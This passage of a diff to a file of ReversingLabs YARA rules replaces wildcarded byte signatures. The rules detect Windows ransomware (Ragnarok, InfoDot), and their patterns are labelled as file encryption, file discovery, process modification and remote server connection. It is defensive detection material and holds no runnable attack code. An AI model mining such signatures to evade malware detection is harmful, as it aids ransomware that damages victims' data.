+            80 FB ?? 0F 85 ?? ?? ?? ?? 83 EC ?? 8D 55 ?? 8B CC 89 A5 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ??
+            C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 33 D2
+            6A ?? 66 89 10 8D 45 ?? 52 50 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83
+            79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 33 D2 6A ?? 66 89 10 8D 45 ??
+            52 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 8D 45 ?? 3B C6
+            74 ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 33 C0 C7 45 ??
+            ?? ?? ?? ?? 56 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? C6 45
         }
-		$remote_server_connection_3 = {
-            50 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5D ?? 83 C4 ?? 8B 7D ?? 8B 08 8B 49
-            ?? F6 44 01 ?? ?? 75 ?? 8B 75 ?? 8D 4D ?? 83 FB ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 0F
-            43 CF 3B F0 0F 42 C6 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 83 FE ?? 73 ?? 83 C8 ??
-            EB ?? 33 C0 83 FE ?? 0F 95 C0 85 C0 0F 94 C0 84 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
-            B5 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 83 FB ?? 72
+		$encrypt_files_p2 = {
+            8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 35 ?? ?? ?? ?? 33 C0 83 7D ?? ?? 66 89 85 ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ??
+            50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF D6 85 C0 0F 85 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 50 FF D6 8B 85 ?? ?? ??
+            ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 45 ?? 83 C4 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 33
+            C0 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? 8D
+            4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E
+            5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 E8
         }
-		$remote_server_connection_4 = {
-            57 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D
-            ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B
-            C6 EB ?? 8B 8D ?? ?? ?? ?? 8B 01 FF 50 ?? 8B 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? B8 ??
-            ?? ?? ?? C3 8B 85 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33
-            CD E8 ?? ?? ?? ?? 8B E5 5D
+		$modify_processes_p1 = {
+            8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ??
+            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ??
+            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50
         }
-		$encrypt_file = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 51 C7 45 ?? ?? ?? ?? ?? 8D 55 ??
-            8B 35 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 51 0F 43 45 ?? 8D 8D ?? ?? ??
-            ?? 6A ?? 50 E8 ?? ?? ?? ?? 85 C0 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BF ?? ?? ?? ??
-            8B 40 ?? 75 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 0B C7 EB ?? 03 C8 33 C0 39
-            41 ?? 0F 44 C7 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 51 0F 43 45 ?? 8D 8D ??
-            ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 85 C0 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ??
-            75 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? EB ?? 03 C8 33 C0 39 41 ??
-            0F 44 C7 6A ?? 50 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 83 EC
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 6A ?? 83 EC ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8D 8D ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 8B 08 8B 49 ?? F6 44 01 ?? ?? 75 ?? 8D 64 24 ?? 51 8D 55 ??
-            8B CE E8 ?? ?? ?? ?? 51 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45
-            ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 08 8B 49 ?? F6 44 01 ?? ?? 74 ?? 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03
-            C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 C8
-            8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D
-            45 ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8B 40 ??
-            C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ??
-            ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 85 ??
-            ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41
-            ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ??
-            C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ??
-            ?? ?? 8D 45 ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 72 ?? FF
-            75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? C7 45 ?? ?? ??
-            ?? ?? 66 89 45 ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ??
-            ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+		$modify_processes_p2 = {
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 F9 6A ?? 8D 8D ?? ?? ?? ?? 6A ?? 8D 04 52 8D 04 C1
+            50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 0F
+            43 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D B5
+            ?? ?? ?? ?? 0F 43 95 ?? ?? ?? ?? 0F 43 B5 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 C8 ??
+            50 56 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 F9 6A ?? 8D 8D ?? ?? ??
+            ?? 6A ?? 8D 04 52 8D 04 C1 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ??
+            ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC FF 37 E8
+            ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? C6 45 ?? ?? 8D 85 ?? ??
+            ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89
+            0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 FF 77
         }
 
 	condition:
-		uint16(0)==0x5A4D and $ping_apnic and $remote_server_connection_1 and $remote_server_connection_2 and $remote_server_connection_3 and $remote_server_connection_4 and $encrypt_file
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ( all of ($modify_processes_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Ragnarok : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Infodot : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Ragnarok ransomware."
+		description = "Yara rule that detects InfoDot ransomware."
 		author = "ReversingLabs"
-		id = "263a671e-dfdb-5ab8-9bb9-355c76a88c10"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "2f6447f4-523b-5ea1-a16d-d68bb9bcc79d"
+		date = "2021-02-16"
+		modified = "2021-02-16"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Ragnarok.yara#L1-L110"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "aaa17ab98b59a5c8c71a2b82a9bf29dd3a1a1719deaf08a3bafa77895bc10311"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.InfoDot.yara#L1-L115"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "24a1c25c1d70c21323417ae0892c613361c4bfc829737ef86b6fa7616ae668c6"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -29878,101 +31416,109 @@ rule REVERSINGLABS_Win32_Ransomware_Ragnarok : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Ragnarok"
+		tc_detection_name = "InfoDot"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$find_files_p1 = {
-            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41
-            F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F 8B E5 5D C3 53 56 8D 5F ?? 03 D9 6A ?? 53 E8
-            ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0
-            75 ?? FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B
-            5D ?? 8B CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59
-            EB ?? 8B 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B EB ?? 33 FF
-            57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33
-            C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C
-            ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95
-            ?? ?? ?? ?? 8A 01 88 85 ?? ?? ?? ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53
-            57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ??
-            74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ??
-            ?? ?? 56 1B C0 89 9D ?? ?? ?? ?? 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ??
-            ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B FA 8B D9 89 9D ?? ?? ?? ??
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 53 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            50 8D 85 ?? ?? ?? ?? 50 FF D3 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? EB
+            ?? 8D 49 ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
+            ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75
+            ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ??
+            ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50
+            ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85
+            C0 74 ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B FF 66 8B 10 66 3B 11 75 ?? 66 85 D2 74
+            ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0
+            83 C8 ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 53 8D 85 ?? ?? ?? ?? 50 FF 15
         }
 		$find_files_p2 = {
-            83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF
-            15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4
-            ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ??
-            89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ??
-            ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50
-            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80
-            38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF
-            B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ??
-            ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ??
-            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ??
-            2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ??
-            83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 59 8B D8 56 FF 15 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 59 8B C3 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
+            8B D7 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85
+            C0 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 57 8B 3D ?? ?? ?? ?? 56 50 FF D7 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
+            50 FF D3 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 9B ?? ?? ?? ?? F6 85 ?? ??
+            ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ??
+            ?? 50 56 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 8D 85 ?? ?? ?? ?? 50 FF D7 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 66 39 85 ?? ?? ?? ?? 75 ?? 33 C9
+            EB ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 90 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51
+            8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 51 50 E8 ?? ?? ?? ?? 99 83 C4 ?? 0B
+            C2 75 ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? 83 CB ?? 83 BD ?? ?? ?? ?? ?? 72 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 BA ?? ?? ?? ?? 8B CF 8D A4 24
+            ?? ?? ?? ?? 66 8B 31 66 3B 32 75 ?? 66 85 F6 74 ?? 66 8B 41 ?? 66 3B 42 ?? 75 ?? 83
         }
-		$encrypt_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 8B 4D ?? 56 57 89
-            85 ?? ?? ?? ?? 33 FF 33 C0 89 8D ?? ?? ?? ?? 6A ?? 51 89 85 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 8D 70 ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 8A 0E
-            3A 08 75 ?? 84 C9 74 ?? 8A 4E ?? 3A 48 ?? 75 ?? 83 C6 ?? 83 C0 ?? 84 C9 75 ?? 33 C0
-            EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D8
-            68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 8B 40 ?? 8B F8 E8 ?? ?? ?? ??
-            33 D2 B9 ?? ?? ?? ?? F7 F1 8A 04 3A 88 04 1E 46 83 FE ?? 7C ?? FF B5 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 33 C9 23 F9 89 8D ?? ?? ?? ?? 3D ?? ?? ?? ??
-            0F 87 ?? ?? ?? ?? 48 83 E0 ?? 83 C0 ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? FF B5 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF
+		$find_files_p3 = {
+            C1 ?? 83 C2 ?? 66 85 C0 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9
+            ?? ?? ?? ?? 8B C7 8D 9B ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50
+            ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85
+            C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B C7 8D 9B ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ??
+            66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0
+            EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B C7 8D 9B ?? ?? ?? ??
+            66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
+            ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ??
+            8B C7 8D 9B ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51
